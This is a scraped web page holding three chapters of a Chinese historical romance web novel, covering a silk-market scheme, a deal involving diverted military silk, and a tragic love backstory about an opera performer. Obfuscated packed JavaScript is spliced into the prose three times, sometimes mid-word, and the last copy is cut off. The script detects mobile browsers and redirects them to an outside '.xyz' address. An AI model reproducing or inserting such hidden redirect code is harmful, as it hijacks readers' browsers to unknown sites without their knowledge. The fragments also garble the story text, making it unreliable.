“哎呀!”孙嬷嬷望了一眼程玉槿,挑起扁担往肩头一扛,“当年咱纺车转得比铺子算盘还快,怕这点陈丝?都搬上板车!明儿保准给你送回顶顶好的熟丝!” 很快,院内的木箱堆被一扫而空。望着妇人们利落的身影逐渐远去,杨柯心里的重担也卸下了。 “娘,今日若没您……” 程玉槿替女儿理着额前碎发:“说什么傻话!娘不来,谁还能来?”她拍了拍杨柯的手,“娘真没想到呀,从前只知道偷钱喝酒的小丫头,如今变得这么厉害了。” 头一回听到程玉槿如此直言不讳的夸赞,杨柯一时害羞起来。 “回去定要跟你爹好好说道说道,想来你爹要躲在书房里开心得抹眼泪了。”说着咯咯笑出声来。 母女俩又絮语几句,天色也逐渐暗了下来。杨柯扶着母亲上了青布马车,车帘还未落下,程玉槿回身握住她的手,瞥了眼左右,悄声道:“柯儿……朝廷的事,莫要硬扛,实在不行,爹娘接你回去。” 杨柯心里猛地一酸,却在眨眼间扬起个亮堂的笑:“您又瞎操心!女儿连沈裕之都不怕,还怕这点小事?往后我可要风风光光地回家呢!” 程玉槿盯着她青黑的眼圈,一时没说话,随后展起一个笑:“好,好。爹娘等你回来。” 车帘落下,杨柯目送着母亲的马车逐渐消失不见,才转身回到行会,刚跨进门槛便觉浑身脱力。 杨柯拖着身子到了书案前,堂内灯火通明,老张拨弄算盘的声响混着王二小的低语,像是隔着层棉絮般遥远。她趴在桌面上,手指揉着太阳穴,迷迷糊糊间便昏沉睡去。 不知过了多久,肩头突然被轻轻拍了拍。杨柯惊得抬头,明晃晃的烛光刺得她眯起眼。来人正站在面前,玄色锦袍上的蟒纹在光影里格外吸眼。 “殿下!”杨柯惊喜起身,却撞得膝头磕在桌沿,疼得倒抽凉气。 宇文泰伸手扶住她的肩膀,将她笼在怀中,语气中难掩宠溺:“这般不小心。” 杨柯问道:“你怎么来了?” 他眸中满是笑意:“我来接你回家。” 75.交易 太阳正悬当空,毒辣的阳光喷灌过来,照得人醺醺欲醉。可城西的行会里,比日头还要红火。 连续几日,孙嬷嬷的车队雷打不动地送来上等“生丝”,一车车码得规整极了,刚卸进库房就被领货的商户们围了个水泄不通。行会正堂里,老张的算盘珠子拨拉得噼啪脆响,银两入袋的声音更是接连不断。 “越州来的商船靠岸了,新订单!”小厮朝院坝里喊了一嗓子。 王二小擦着额角的汗珠应和:“知道了!前头还有十万担在装车呢!” “欸,二小!卢记绸缎庄加订了五万担,要特级白丝!” “还有孙娘子那边,”另一个伙计拎着账本跑过来,“孙掌柜说咱们的生丝色泽好,把越州的老货都退了,以后只认咱们行会的!” “美哉,美哉!”杨柯扇着折扇,目光扫过院中码放的丝包,又落回案头的账本上,“老张,这几日的生意如何?” 老张搓着手嘿嘿笑:“截止今日,统共进了一百二十万两呢!头茬签约的二十万生丝,咱们以三两一担的加码卖出,眼瞅着行情走俏,后头商户们跟抢似的又订了二十万。大人,您猜猜,如今生丝的市价是多少?” 杨柯思索道:“难不成降到了十两?” 老张得意摇头:“哪里是十两,只有四两啦!按原先的契约,咱们仅需四十万两便可收回丝户手头囤积的生丝,除去库房这俩月的租银、漕运的损耗,给伙计们发的赏钱……”老张说着满意大笑,“这趟下来,净赚六十万两是稳当的。” 杨柯折扇“啪”地一收:“美哉,美哉!”如此一来,不仅伯喻的三十万银子能连本带利归还,行会这摊子生意也算在他们手里支棱起来了。 此刻的沈府书房内,气氛却是截然不同。 沈裕之僵坐在书案边,灼热的阳光直刺在账册上,像是无数细针扎在他的心头肉上。 前日里亲自查库,他才发现偌大库房里只剩十万担生丝,其余四十万担早已被他抵押给钱庄,而换出的银子又悉数投进了收丝的窟窿。 沙漏里的细沙簌簌坠落,三日后便是波斯人取货的最后期限,那十万丝绸若无法交出,契约上的百万两违约金能把沈府所有宅邸全都啃噬殆尽。 破船又遇顶头风,他囤货时每担十两银子吃进的生丝,如今因为行会生丝走俏,市价竟连续几日连连跌到四两,此时沈府的账面上浮亏已经多达百万。 正思忖着,沈府的下人慌慌张张地赶来:“老爷!不好了!钱庄抛售生丝的消息传开,市价又跌了三钱,现在三两多就能买一担……” 这人话还未说完,另一个小厮也奔了进来:“老爷!钱庄的人刚刚来信说,按当票规矩该追缴二十万两保证金了!再凑不齐,咱们可就要开箱抛售抵账了!” 沈裕之问道:“行会那边如何?” “听码头卸货的脚夫说,今儿个又有商船靠岸,说是新增了十万担订单。”下人脸色已是煞白,“不对呀,行会拢共就三十万担生丝,怎会有新订单?” 沈裕之将账本猛地一甩,气急道:“那仓储清单上的数目,是假的!” 顿时,屋内一片死寂,唯有后院老槐树上的蝉仍在不知死活地聒叫。 良久,沈裕之朝侍立的二人挥了挥手:“你们先下去吧,办法我来想。” “是。”那二人偷瞄了眼老爷铁青的脸色,垂着头退了下去。 “唉——”沈裕之整个人瘫坐在太师椅里,眉头拧成了解不开的死结。 “老爷,大堂有位客人来访。”管家沈福的声音在书房外响起,打破了沉闷的寂静。 沈裕之当即便反应过来,此刻已至戌时,能在这个节点、这个时辰来访沈府的,除了那位先生,便再也无旁人。 他迅速合上账册,迈步走了出去。行至大厅,还未踏过门槛,便双手一拱,朗声作揖道:“易先生,别来无恙。先生大驾光临,裕之有失远迎,万望恕罪!” 易望林一身素色常服,靠在椅背,听到声音,手撑着扶手,作势要起身:“多年不见,裕之啊,已不再是吴下阿蒙喽。” 沈裕之赶紧上前扶住老人:“先生折煞裕之了,您快请坐。当年先生提点之恩,裕之时刻铭记于心,唯恐行差踏错,败坏了先生门下名声。” 说完,他亲自接过侍女奉上的热茶,放在易望林手边的小几上,顺势在对方下首的椅子坐了半边,形容恭谨。见易老端起茶盏,状似无意地开口:“说起来,前几日令爱也曾莅临,一同聊了聊近况。” 易望林轻轻吹开浮沫,热气刚好掩盖住他眼底一闪而过的精光,“哦?小女顽劣,没给你添麻烦就好。” 见对方轻描淡写地略过女儿的话题,沈裕之也识相地没有再提。 易望林又道:“老夫近来在府中将养,耳目闭塞,却也听说,沈老板最近手笔不小,吃进了大批生丝?” 沈裕之心头一凛,面上却不动声色,拱手道:“确有此事。只是……”他苦笑摇头,“如今大半都已抵入钱庄,流水吃紧,便那波斯商人的订单催得又急,唉,弟子这几日着实捉襟见肘。” 易望林先是沉默片刻,随即闷笑了出来:“裕之啊裕之,都说你是个商界好手,怎么这回聪明反被聪明误?” 沈裕之顺势低头谦恭道:“先生教训的是。裕之一时贪进,只顾吃下订单,却忘了算尽后路,如今深陷泥潭。还望先生看在往日情分,指点一二。” 易望林道:“老夫前日得了些上好的龙井,滋味清甜,裕之不妨品尝一二?” 见他避而不答,沈裕之不禁心生疑窦。狐疑不决间,又见易望林身旁的小厮端上一个盖着锦缎的托盘,轻放在两人之间的茶几上。 锦缎揭开,躺在托盘上的并非意料之中的茶叶,而是一叠青灰色的生丝。 沈裕之目光瞬间被吸引,他拿起一缕细看捻摩,这生丝柔韧光泽,确属上品,但触感较之市面上的江南生丝更为粗粝,他心中疑惑丛生,面上却不动声色,只赞叹道:“先生好眼光,不知此丝,产自何方宝地?” 易望林端起茶杯,慢悠悠地呷了一口,才缓缓道:“产地么,非苏杭,非川蜀,也非岭南。” 沈裕之不禁更加疑惑,只盯着易望林。 易望林放下茶盏,吐出了两个字:“辽东。” “辽东?”这答案出乎沈裕之的意料。此地向来苦寒,并非桑蚕之乡,他心头不禁生出警惕,面上却故作困惑道:“辽东也产如此上好的生丝,我倒是闻所未闻。” 易望林将他的反应尽收眼底,平静道:“你猜的不错,此非辽东所产桑蚕丝,而是军需库中之物,专供弓弦、甲胄内衬之用。非常时期,老夫动用些旧日关系,特为你调遣过来,解你燃眉之急。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744215|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听他轻描淡写地讲出“军需”二字,沈裕之后背却沁出一身冷汗。挪用军资,这是抄家灭族的大罪。但他旋即又冷静下来,易望林敢这么做,必有万全的后手。只不过背后的代价,又要谁来承担? 沈裕之道:“先生深谋远虑,裕之佩服。但是百密一疏,若……若东窗事发?” “你且安心。”易望林早已看穿了他的心思,旋即不慌不忙地从袖中取出一份盖着鲜红印鉴的文书,缓缓推到沈裕之面前,“此乃公主府出具的保契。” 沈裕之拿起保契,凝眸细看起来:“兹保沈裕之昭明二十四年所购辽东生丝三十万担,系公主府采办高丽贡品之余料,手续完备。若有司查问,所有档册,皆归内务府档。” 公主府、内务府!这两个名头,足以挡住所有盘查。保契还特意将生丝数量翻了三倍,留足了腾挪空间。看着纸上拓着的公主府印,沈裕之心中最后一块石头落了地。 “船运已在渭河之上,十万担生丝在三日内抵达京城。这批生丝,老夫以市价七折售予你庆云号。”易望林顿了顿,又抛出一个更重的筹码,“工部特批的通关帖,沿途关卡,一路畅行无阻。” 沈裕之眼中精光一闪,抬起头时已满是感激和敬畏:“先生大恩,思虑周全至此,弟子不知该何以为报。您智计无双,如今暂离朝堂,朝廷没了这般肱骨之臣,岂不是大大的损失?” 这句奉承得恰到好处,既表达了感激,又恭维了易望林,更点明了他此刻最在意、也最急于改变的——回朝复职。 果然,易望林闻言抚掌大笑:“好个‘一点就通’!”随着笑容渐敛,他的眼神也阴冷了下去,“至于回报,老夫只需你帮一个忙,演一场戏。” 沈裕之躬身道:“还请先生指教。” 易望林道:“该收的丝,照单全收。该织就织,该染就染。如期交付波斯订单,这是你庆云号的信誉,更是我朝商贾的脸面!” 沈裕之接道:“先生说的是。” 易望林望着窗外黑云,沉声轻叹:“等辽东生丝一到,这京城的水,就要浑起来了。届时,无论坊间有何流言蜚语,朝堂上有何风吹草动,但凡涉及生丝来源,乃至军需风闻,你都一概不知,一概不晓!若有人明里暗里将矛头指向你庆云号,你也不必急于反驳,更不可自乱阵脚。” 说着,他微微前倾,声音压得更低,语气推心置腹却又不容置疑,“裕之,你是个聪明人。这场戏,成败全在一个‘势’字。老夫会在朝中造‘势’,让该乱的地方乱起来,让该急的人急起来。而你,在商界稳‘势’,做好你该做的生意,守好你该守的口风。待到时机成熟,水浑到连圣上都坐不住时,自有老夫出面。” 话毕,他靠回椅背,神态悠然,好似拉家常一般,“你所要做的,就是相信老夫的安排,做个本分的生意人。内务府的档底,公主府的保契,都是你的靠山。届时,不仅你的清白会被洗清,庆云号维护国体商誉之功,也必将上达天听!那‘皇商世袭’的恩典,自然手到擒来。” 皇商世袭!这四字的分量,足以让任何商人疯狂。一旦成真,沈家便能跻身顶级商门,富贵延绵,荣荫万代。 沈裕之激动得心跳如鼓,连忙撩袍下跪:“先生大恩大德,裕之没齿难忘!” 易望林露出憨笑,语气温和:“裕之啊,你我师徒一场,不必见外。” 76.背叛 第二日,沈裕之静坐在书房内,对着满桌账目凝神核计。自从易先生来过以后,他心中重担减轻了不少。 “哥哥,方才你不在,门房递了封信进来。”沈澜之手里攥着一方素白信笺推门而入。 沈裕之闻言抬头:“是谁?” “我也不知。”沈澜之摇摇头,秀气的脸上带着困惑,“是个面生的小厮,神神秘秘的,只说是……跟公主殿下有关,务必要交到你手上。” “公主殿下?”沈裕之眼中一凛,立刻追问道,“那人从哪个方向来?可有人跟着?” 沈澜之被他忽然严肃的语气吓了一跳,怯怯道:“没……没看清,他从侧巷一闪就没了,像是很熟悉府邸周围的小路。” 沈裕之接过信,并未立刻拆看,而是沉声道:“澜之,这几日你勿要出去乱跑了,就在府中习字绣花。” 沈澜之不解,天真问道:“哥哥是担心……羲王殿下吗?他上次还送了我香囊呢。” “哪一次?”沈裕之打断她,眼神锐利如刀,“蚕神庙后,他还找过你?” 沈澜之被哥哥的眼神看得有些发怵,小声道:“就……就是前几日的蚕神庙,远远碰见了,说了几句话。殿下还夸赞哥哥能力非凡,是京城商界的定海神针!” 沈裕之深吸一口气,压下胸中怒意,双手按住妹妹的肩膀,一字一句道:“你听着,那个羲王心思深重,绝非表面那般温和。上回你们见了一面也就罢了,以后莫要再有来往。” 沈澜之不解道:“可殿下并非要害我们呀。” 沈裕之眉头紧皱:“你从何得知?” 她犹豫了一下,还是说了出来:“那日,殿下给我系上香囊时,特意叮嘱要提醒哥哥,莫要与易大人走得太近。他说,易大人手段阴狠,恐怕会拿哥哥当作复位的垫脚石。” 沈裕之浑身猛地一僵,他才与易望林联手不过一日,宇文泰怎会提前嗅到了风声? “他为何提起易大人?” 沈澜之支吾道:“或许……只是随口说说吧。” 沈裕之陡然抬眼:“澜之,若有事相瞒,只会把你我都推进火坑!” 妹妹肩头一颤,如实招来:“这封信是殿下让我转交的,说是从易府暗线截获。” 沈裕之的目光跟着到了信笺上,眉头皱得更紧了:“澜之,你不明白,殿下与易大人之间的恩怨盘根错节,况且,朝堂之争,动辄便是倾家灭族之祸,你莫要轻信呀。” “哥哥莫生气,”沈澜之慌忙抓紧他袖口,“可若这信不假,那我们沈家岂不是要……” 沈裕之疲惫地揉了揉眉心,坐回椅子上:“澜之,莫要胡思乱想了。” 沈澜之上前半步:“阿泰哥哥还说,易大人早已和公主殿下串通好,要让我们成为辽东生丝的牺牲品!”她越说越急,“妹妹只怕哥哥中了易望林的奸计,最后竹篮打水一场空,甚至……” “住口!”沈裕之豁然起身,“我沈家能起势,哪一步能离开易先生的扶持?如今你听了他宇文泰的三言两语,便要上演农夫与蛇的故事?” 话音落下,沈澜之已落寞垂首,眼泪婆娑:“是妹妹糊涂了。” 见她委屈模样,沈裕之不禁深叹道:“我明白你是为我着想,但这摊浑水,有我一个人蹚便足够了。” 沈澜之点点头:“我听哥哥的。” 待沈澜之离开后,沈裕之的目光又重新落回手中的信笺。他拆开信封,抽出信纸,凝神细看起来:“孔阳殿下钧鉴:沈氏粗鄙,商贾之流,目光短浅,不堪大用。其性贪婪,难堪大任。殿下欲用之,恐反受其累……” 信中字句极尽诋毁,沈裕之冷眼读完,“哼,模仿得倒还有七八分神韵。” 就在此时,他鼻尖忽嗅到一股极淡、却异常熟悉的松木冷香,那是易府书房内常年研磨的松烟墨独有的味道! 若在易望林身边时日尚短,或许闻不出这细微差别,但他沈裕之在易府伺候数载,对这冷香熟稔得如同自家气味一般,断然不会认错! 沈裕之猛地捏起信纸,对着光左右翻看,仔细端详,心中疑窦丛生,难道此信果真来自易府? “沈福。”他陡然扬声道。 管家匆匆进门:“老爷。” 沈裕之从暗格中取出个锦缎包裹,里头压着的正是盖着朱红印泥的保契,“把这个送到东市‘宝昌阁’,找老掌柜验验印泥和文书纸底,千万仔细。” “是!”沈福刚接过包裹,又听老爷沉声叮嘱道:“走侧门,别让前院的人瞅见,尤其是账房那几个新来的!” 城东的宝昌阁内,檀烟如缕。 沈福一身利落的青布短褂,迈步而进,行至长柜台前。他从怀中取出包裹,“掌柜的,烦请过目。” 柜台后,须发皆白的老掌柜抬起眼皮,浑浊目光在沈福脸上停留了一瞬,又落在保契上,眼睛随之忽地一亮:“这东西可不一般。” 沈福压低声音道:“可不是,所以找您来看呐。” 老掌柜背脊立即挺直,伸手取过一方素净的白绸布垫在契书下,然后拿起案头那柄黄铜镜,凑近了光源,凝神细看起来。 沈福垂首肃立一旁,屏息凝神,目光紧跟着他的动作,不发一言。 半晌,掌柜终于放下铜镜,缓缓吁出一口长气,将保契重新用油布包好,递还给沈福:“确系真品无疑。” 沈福紧绷的肩头终于放松下来,郑重接过包裹,再次贴身藏好,掌心递上沉甸甸的银两,“有劳老掌柜,沈福代我家老爷谢过。” 没有多余的寒暄,他转身离去,很快消失在宝昌阁外熙攘的人流中。 宝昌阁内,老掌柜枯瘦的手指在柜台边缘轻叩三下,身旁侍立的小厮见状,立刻躬身凑上前来。 “去后头鸽房,传信回府,沈裕之的人来了。” “是。” 日落西山,数点乌鸦驮着半轮熔金闯进雕甍飞檐。 易府书房内,易望林正靠在太师椅上,眼眸半阖,手中把玩着一对油光水亮的文玩核桃,发出“咯吱咯吱”的声响。 房门被轻轻推开,管家轻步走了进来,停在椅子旁,微微躬身道:“老爷,宝昌阁的信。” 易望林手中的核桃停顿了一瞬,眼皮抬都不抬,“嗯?” 管家将纸笺奉到他手中,易望林抬手接过,纸笺展开,上头写着八个字:“保契验真,沈福已离。” 他捏起纸笺,靠近烛火,白纸瞬间燃成灰烬。 书房内又陷入了短暂的死寂,只有易望林手中核桃的声响,却比方才缓慢许多,沉重许多。 他轻轻摇了摇头,叹息声裹着似真似假的惋惜:“你说,现在的后生,为何放着阳关道不走,偏偏要去挤那独木桥?”他像是在问管家,又像是在自言自语。 管家垂首侍立,头埋得越发低,大气也不敢出。 易望林重新靠回椅背,目光投向窗外昏沉天幕,核桃在掌心又恢复了规律的转动,“既如此,就照例去办吧。” “是,老爷。”管家心领神会,无声地退了出去。 城东行会的局面已经逐渐稳定,杨柯早早交代好了诸多事宜,便乘上马车,赶回皇宫。 车驾甫停,她便提着裙裾一路小跑,直奔武华殿的方向去。 待回到武华殿,离书房尚有数十步之遥,便听里头传来高低错落的议事声。 “字据呢?那人与易府通信,难道一封都找不到?”宇文泰熟悉的声线穿透而来,带着令人敬畏的威仪。 “殿下,他归户部管辖,有些文书……我等实在无权调阅。” “宣王那边是何态度?” “宣王已遣暗卫跟踪,只是……”大臣言辞吞吐,“具体探得什么,还尚未得知。” “此事本王会去和他交涉,都先退下吧。” 话音落下,杨柯已绕过影壁,只见宇文泰眉间紧蹙,抬手重重揉了揉眉心,深深吁出一口长气,疲惫之色难掩。 杨柯放轻脚步,溜到他身侧,掌心还未触到他肩膀,他已骤然回身,原本覆满疲惫的眼眸瞬间亮起惊喜之色。 杨柯露出狡黠一笑:“我道此计无愁可消除,原是才下眉头,又上心头呢。” 宇文泰闻言失笑,牵起她的手道:“兵部诸事,总有各种难处。” 见他眼中阴霾尚在,杨柯佯装惊讶道:“堂堂羲王殿下,居然会被这些事难倒?我看啊,是故意装可怜,想让人多哄哄。” 宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752932|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文泰眉尾一挑,指尖摩挲她手背:“是啊,被你看穿了。” 杨柯扯了扯他袖口,柔声安慰道:“行会运往海外的商船皆已安然抵达,多亏了兵部的军旗,此事全靠殿下鼎力相助哦。” 宇文泰眸中闪过促狭,抬手刮她鼻梁:“殿下?你说的,是哪个殿下?” 杨柯脸颊迅速飞红,半嗔半羞道:“阿泰,别捉弄我啦。” 宇文泰随即轻笑出声,顺势将她拉进怀里,两人依偎在一起。 良久,杨柯从他怀里抬起头,认真道:“经过这次新政,我越来越觉得,后宫与外庭其实并无什么不同。” 宇文泰垂眸看着她,宠溺地捏了捏她的脸:“阿柯又有什么新奇的想法?” 杨柯轻声道:“我只是觉得,许多女子的才华其实并不低于男子,但只能陷在螺丝壳里做道场。” 听言,宇文泰的神色也认真了起来:“虽在螺丝壳里做道场,但那也是道场。英雄是刀,美人是鞘,刀鞘相生,同锋而异形。” “同锋而异形……”杨柯细细回味着他这句话,忽然,门外一声通报传了进来:“杨大人,尚书局传了话来,公孙大人有事唤您回去呢!” 杨柯无奈叹了口气,朗声回道:“知道了,我立刻便去。” 宇文泰摸了摸她的头,柔声道:“快去吧,小英雄,我就在这等你。” 杨柯微蹙眉头,嘟起嘴道:“这一趟,又要许久了……” 宇文泰嘴角含笑,俯首凑近她耳边:“不晚,等你回来,刚好入夜。” 杨柯听了,耳尖迅速蹿红,轻捶他胸口:“就会捉弄我!” 宇文泰笑着捏了捏她的脸颊,杨柯这才不舍地转身离去。 刚踏进暖阁门槛,前几日递给她糖蒸酥酪的小女官便提着裙摆追了上来:“阿柯姐姐,你彩头好哇,今日又有商户送来礼物啦!”说着笑眯眯地将东西递到杨柯手里。 杨柯期待地低头一看,好巧不巧,竟是个香囊。 “沈府沈小姐特地送来的,说是祈求行会顺利。” 那晚以后,杨柯心中早已没了往日的醋意。既然宇文泰已经将沈澜之拉到一条战线上,那这香囊一定不会是简单的赠礼,说不准藏着什么重要的线索。 她解开香囊的系绳,一股若有若无的龙脑香飘出。又凑近瞧了瞧,囊内装着的并非是香料,而是几根青灰色的生丝。 杨柯指尖捻着生丝,放在眼前,左看右看:“这丝是从哪个地方来的?” 近旁女官凑了上来:“比江南的丝要粗上几分,倒像是北方的。” 另一人道:“我知道,这是军队里专门用来做弓箭的麻丝弦!” 话音甫落,周遭皆是一寂。 一人压低声音道:“你可确信无误?这可是沈府送来的。他们怎会无端送来军需用丝?” “不知道呀,难道是挑衅?” 杨柯将生丝纳入袖中,语气沉了下来:“先别声张,也许只是沈小姐的恶作剧。” 那人点点头,四周人也纷纷散去。 杨柯回到位子上,展开行会送来的海贸簿册。过了一个时辰,仍不见公孙的踪影,杨柯询问当值书吏,得知公孙尚在御前,今晚恐不能归,于是也离开了尚书局。 经过御花园,晚风带着些许凉意,吹过繁茂的花丛,卷起几片零星的花瓣。杨柯正快步前进,忽然,一方素白打着旋儿地飘来,不偏不倚落在她鞋前。 杨柯停下脚步,俯下捡起,是女子常用的手帕,入手是上好的丝绢,触感细腻却泛着微黄,想来有些年头了。帕子上并无繁复纹饰,只在角落绣着一束兰花,兰花旁用极细的丝线,绣着一行小字,针脚清雅,笔画间却藏着铁画银钩的力道——“三生石畔同声应,不羡鸳鸯只羡凰。” 是情人间的信物。不过这最后一句,不羡慕比翼鸳鸯,偏追着涅槃凤凰,这对眷侣倒独有一分卓尔不群的傲气。杨柯心里不禁对其主人好奇起来。 然而,这手帕底下却隐隐透出暗红色,她心生疑惑,翻将过来,竟是一个大大的“谶”字横在中央!而那字暗红发黑,像一道狰狞的血口,将绢面上“不羡鸳鸯”的誓言生生剜成两半。 “这帕子,是公孙珍藏之物。” 77.泣血 杨柯闻声回头,孔阳正踏着满地零落的兰花,缓缓走来。她的目光落在杨柯手中的帕子上,又望向远处空寂的凉亭石阶,轻叹道:“今日……是清漪的忌日,她又在此处独自伤怀了吧。” “……清漪是?” “他当年,是九城独冠的人物,一出《牡丹亭》,唱得是万人空巷。只可惜……” 人生哪能若只如初见。 十五年前,京城灯火通明,恰逢撷芳园的“大轴”——《牡丹亭·惊梦》惊艳亮相。 台上的杜丽娘,扮相风流,那双点染了胭脂的妙目,眼波顾盼间,漫过三分羞怯、五分怅惘,余下两分化作勾魂摄魄的柔波,直叫台下看客丢了神魄——唯独除了公孙瑶。 就在一个时辰前,她和父亲为了家族联姻之事发生了激烈争执,父亲意图将她许配给权贵之子,去换公孙家暂时的政治安稳,她再次被父亲视作筹码,可她怎会甘愿? 她从小聪慧过人,更因在政事上屡献良策而博得“女中诸葛”的美名。就连贵为皇后的姑姑都对她青眼有加,视她为公孙家族的骄傲,不仅许诺她不必急于婚配,更暗许她未来可在朝堂施展才华。也正因为姑姑的支持,面对父亲的疾言厉色,阿瑶从未动摇半分。 然而今日,父亲的威迫已经到了不可缓和的地步。“不知礼数”、“罔顾大局”,这八个字,犹如扑面而来的网罗,砸碎了她引以为傲的自尊,也将她曾经为家族殚精竭虑的付出一笔勾销。 她几乎是夺门而出,只想找个角落掩藏起自己的狼狈。 “不到春色园林,怎知春色如许?”唱到这一句时,杜丽娘的眼眸悠然抬起,也许是天意作祟,那道叫人肝肠寸断的目光毫无预兆地与公孙瑶一一相对。 戏中人眼里的哀伤,好似一面镜子,照出她此刻同样的煎熬——她的“春色”在哪儿? 这一眼,这一句,台上台下,戏里戏外,两个同样被命运束缚的灵魂,在这一瞬间,猝不及防地合二为一。 散场后,阿瑶被一股冲动攫住心神,冒险潜入了后台。 昏黄光晕下,杜丽娘正在镜前卸下珠翠头面。最后一支簪子被取下,如瀑青丝滑落肩头。杜丽娘侧过脸庞,拿起沾湿的软巾,擦拭去脸上浓重的油彩。 公孙的目光紧紧锁定在铜镜之上。就在那层艳丽的面具被擦去大半的瞬间,一张清俊疏离的男儿面容,清晰地映在镜中。 台上是镜花水月,台下是朗月清风,十几年来紧闭的春色之门,在这一刻,被彻底撞开。 鬼使神差地,她又往前挪了一步。心跳如擂鼓,她颤抖着指尖,从袖中掏出身上唯一的锦帕,趁着他尚在梳妆,飞快地塞到他未及收起的妆奁里。 也许是心有灵犀,在她靠近的瞬间,他于身侧微光中有所察觉,转首望来,与她四目相对。 出身贵女的常年约束在此刻竟然起了作用,公孙用本就不多的心力维持着表面的平静体面,“先生之艺,动人心魄。” 而对方微微一怔,随即,漾开一抹温和笑意:“姑娘谬赞,清漪多谢。” 他微微颔首,姿态怡然优雅,不见半分局促,反有见惯风月的从容。 她更加沦陷。 匆匆转身时,衣袖顽劣地带倒了桌边一支珠钗,那钗子眼看就要坠地——一只骨节分明的手迅捷伸出,稳稳接住。 几乎是本能,阿瑶的手也伸了出去想要挽救,指尖却在半空与他的蓦然相触,微凉而短暂,短暂却灼心。 她的体面终于用罄,脸颊瞬间滚烫起来,猛地收回手,再也顾不上任何贵女仪态,几乎是落荒而逃。 却在踏出门的最后一刻,听到身后传来一声极低的轻笑。 从那日开始,公孙瑶成了撷芳园的常客。而台上的清漪,无论眼波如何流转,总能与她的目光重逢。 一次散场后,阿瑶将一方素笺小心折好,夹在打赏的银票中递入后台。素笺之上,是她新填的《鹧鸪天》:“惊鸿影,绕回廊。几回魂梦觅清商。三生石畔同声应,不羡鸳鸯只羡凰。” 数日后,新一场《惊梦》开锣。当唱至杜丽娘游园感怀的经典段落时,清漪水袖一扬,唱腔陡然一转,道:“惊鸿影绕回廊畔,幽愫难托锦字行。三生石上惊魂契,不羡凡间鸯,只慕云中凰。” 她的隐秘,她的肺腑,竟以这样绝美而公开的方式,被他回应,被他珍视。 阿瑶心潮还未平复,散场后,便收到一方素帕,上面是他用俊逸小楷写就的情诗:“三生石畔同声应,不羡鸳鸯只羡凰”,落款处,绣着一双兰花。 情如藤萝,一旦生根,便在无人所知的角落里蔓延疯长。阿瑶与清漪,在诗词唱和与心照不宣的私会中越发炽烈。 可世事无常。 公孙家发现小姐频繁出入梨园,并截获了他们传递的诗词信物。公孙仪震怒至极,女儿竟与一个“以色侍人、雌雄莫辨”的男旦私相授受,这简直是奇耻大辱!他将公孙瑶囚禁在家中,禁止他二人再次相见。 消息传入宫中,孔阳向来熟知表妹性情,刚烈如她,怎会乖乖就范? 孔阳匆匆赶至公孙府邸,而风暴已经过去,只剩下残破的余烬。 阿瑶已被囚禁深闺,她所有的诗稿,连同定情信物,皆被付之一炬。 清漪的处境更糟,公孙仪派人砸了他的戏台,更以污言秽语对其当众辱骂,甚至威胁将他送官查办,彻底毁掉他和整个撷芳园。 孔阳试图以皇后之名劝解,却只换来姨父冰冷如铁的拒绝。 紧闭的房门内,阿瑶砸碎了所有能砸碎的东西,她的嘶喊从黑暗中传来:“他比你们这些道貌岸然之人干净千倍万倍!我宁死不入宫!不嫁人!” 孔阳深知此时已无力回天,她能做的,只有勉强维持公孙家族的体面,在暗中周旋,尽力护住清漪,免他再受灭顶之灾。 然而,命运却并未给予喘息之机。皇后突然急病崩逝,家族最大的靠山瞬间崩塌,敌对派系趁机发难,公孙家族顷刻间风雨飘摇,岌岌可危。 终于,紧闭了数月的房门被打开,父亲带来的并非是妥协,而是宣告:“阿瑶,立刻以‘皇后至亲’之身入宫奔丧,唯有此,你才能留在宫中担任女官,成为家族新的希望。否则,明日此时,清漪及其戏班上下,便会因‘谋刺贵女未遂’之名下狱问罪,我手上的证据确凿,他们绝无生路。” 轻身灭影何可望,粉蛾帖死屏风上。 阿瑶获准最后去一次撷芳园。 她盛装华服,却面无血色。在后台初遇的僻静角落里,她将当初清漪回赠的那方素帕,冷冷地掷于他脚边。 “先生,前些时日不过是本小姐一时无聊,寻些乐子罢了。如今宫中已下旨意,皇后娘娘生前属意,命我入宫为女官,侍奉君王左右。此等前程,岂是你一介伶人能企及?” 看着清漪脸上的温柔一点一点随着她的话语凝固成冰,她用尽全身力气,强迫自己说:“过往种种,皆是云烟,望你好自为之,莫再痴心妄想。” 清漪如遭重击,难以置信地看着眼前判若两人的阿瑶。他捡起脚边的素帕,指节发白,嘴唇颤抖,却一个字也说不出。 羞辱、心痛、背叛,如潮水般将他淹没。他眼中的光彻底熄灭。 不久,他站在朱雀大街上,隐于人群之中,亲眼目送公孙瑶随皇室仪仗风光入宫。 街头巷尾,无不在传颂“公孙深得圣心”、“前程无量”,每一句,每个字,皆如无处不在的尖针,反复刺扎进他早已千疮百孔的心。 手中那方素帕,她写的情诗和他画的兰花,此刻都成了最尖锐的讽刺。 三个月后,在公孙正式受封御侍令的当晚,清漪回到撷芳园的戏台,他穿上曾经那套最华美的戏服,描画上最精致的妆容,朱唇轻启,他为她,再次唱起了《牡丹亭·离魂》:“这般花花草草由人恋,生生死死随人愿,便酸酸楚楚无人怨……”唱至动情处,泪如雨下,满座寂然。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 